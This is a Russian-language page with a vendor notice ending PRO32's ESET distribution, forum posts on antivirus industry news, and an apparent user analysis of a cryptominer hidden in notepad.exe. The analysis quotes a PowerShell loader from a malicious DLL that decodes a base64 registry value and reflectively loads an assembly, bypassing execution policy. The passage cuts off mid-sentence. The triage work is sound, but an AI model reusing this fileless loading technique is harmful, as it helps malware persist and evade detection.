Поставщик ИТ-решений PRO32 сообщает вам, что после 17 лет сотрудничества мы более не являемся
эксклюзивным дистрибьютором программных продуктов словацкого разработчика ESET в России,
Республике Беларусь, Казахстане, Азербайджане, Узбекистане, Кыргызстане, Таджикистане, Туркменистане,
Молдове, Грузии и Армении.
Купить и продлить лицензии ESET на нашем сайте больше нельзя.
Предлагаем вам попробовать новый антивирус от компании
PRO32.
Продукты PRO32 — это технологичные решения, надежная защита от киберугроз
и максимальная производительность устройств на Windows / Android.
Для действующих клиентов ESET мы предлагаем промокод на скидку в размере
15% — ESET15. Скопируйте его и после добавления товара в корзину, не забудьте его
применить в корзине.
RP55 RP55 написал: Symantec Всё... Broadcom выкупил Symantec > название меняется на NortonLifeLock > Компания фактически уйдёт от антивирусной защиты...
Цитата
Новая компания будет больше уделять внимание сервисам для усиления приватности и защиты персональных данных, а не антивирусной защите.
----------- Кто следующий на выход ?
возможно на шифровании сделают акцент, а антивирусная защита, это только часть спектра информационной безопасности. В 2010 году Symantec Corp. выкупил PGP за 300 млн долларов
Двухфакторная аутентификация или 2FA – это метод идентификации пользователя в каком-либо сервисе, где используются два различных типа аутентификационных данных. Введение дополнительного уровня безопасности обеспечивает более эффективную защиту аккаунта от несанкционированного доступа.
В коде Microsoft обнаружена ошибка, ( crypt32.dll ) которая отвечает за проверку цифровых подписей, что потенциально позволяет подделать подпись файла и установить на компьютер вредоносное ПО. Ошибку обнаружили в АНБ и первоначально засекретили.
Антивирусы получают обновления для борьбы с новым методом атаки шифровальщиков на EFS Система шифрования данных (Encrypting File System, EFS) может злонамеренно использоваться программами-вымогателями.
Компании разработчики _разрабатывают методы защиты...
по активным сейчас темам Trojan.Multi.GenAutorunProc.a на некоторых форумах что можно сказать.
симптомы, пример:
Цитата
заметил, что моя любимая игрушка начала тормозить, включил msi afterburner с выводом информации про загрузку и температуру процессора на экран, загрузка достигала 50-100% на всех 8 ядрах. Решил открыть диспетчер задач, он показал что процессор загружен на 10-15%, не закрывая диспетчер задач зашел в игру, мси афтербернер показал 10-15%, игра перестала тормозить, закрыл диспетчер задач и игра снова стала тормозить. Я скачал прогу system explorer и она показала запущенный процесс notepad.exe, который потребляет 37,5% процессора. при открытии снова диспетчера задач, notepad.exe скрылся из запущенных процессов в system explorer, после закрытия диспетчера задач, notepad.exe снова запустился.
довольно интересная картина происходит, которая может быть скрыта за текстовыми логами.
есть свежая задача Win32Utilities, из которой запущена dll C:\Users\Pro\AppData\Roaming\WindowsShell\WindowsDiagnostics.dll 6,00 кб, rsAh, создан: 03.03.2020 19:11:07, изменен: 03.03.2020 19:39:19 следующим образом: rundll32.exe C:\Users\Pro\AppData\Roaming\WindowsShell\WindowsDiagnostics.dll,Task и все.
что мы видим в образе автозапуска: во первых обнаружены потоки внедренные в процесс notepad.exe (!) ПРЕДУПРЕЖДЕНИЕ: Обнаружен внедренный поток в процессе C:\WINDOWS\SYSTEM32\NOTEPAD.EXE [1860], tid=9912 во вторых, видим процесс, связанный так или иначе с запуском notepad.exe, явно связанный с майнером
судя по командной строке, часть командной строки формируется из ключа HKCU:\Software\WinSys32, можно предположить, что значение ключа закодировано в base64
каким образом запущены процессы с участием powershell? а вот отсюда, часть содержимого windowsdiagnostic.dll:
Цитата
Maindir Task a p p d a t a \ W i n d o w s S h e l l p o w e r s h e l l ‚%- E x e c u t i o n P o l i c y B y p a s s - N o E x i t - N o P r o f i l e - C o m m a n d $ s = ( G e t - I t e m P r o p e r t y H K C U : \ S o f t w a r e \ W i n S y s 3 2 \ ) . w i n ; $ r = $ s . r e p l a c e ( ' . ' , ' 2 ' ) . r e p l a c e ( ' ( ' , ' 3 ' ) . r e p l a c e ( ' - ' , ' 1 ' ) ; $ b = [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ r ) ; [ S y s t e m . R e f l e c t i o n . A s s e m b l y ] : : L o a d ( $ b ) ; [ G A S . A d ] : : C U ( ) ; E x i t ( 0 )
какая связь между процессом powershell и notepad?
а вот и явная связь.
по образу видим, что pid=8960 соответствует cmdline:
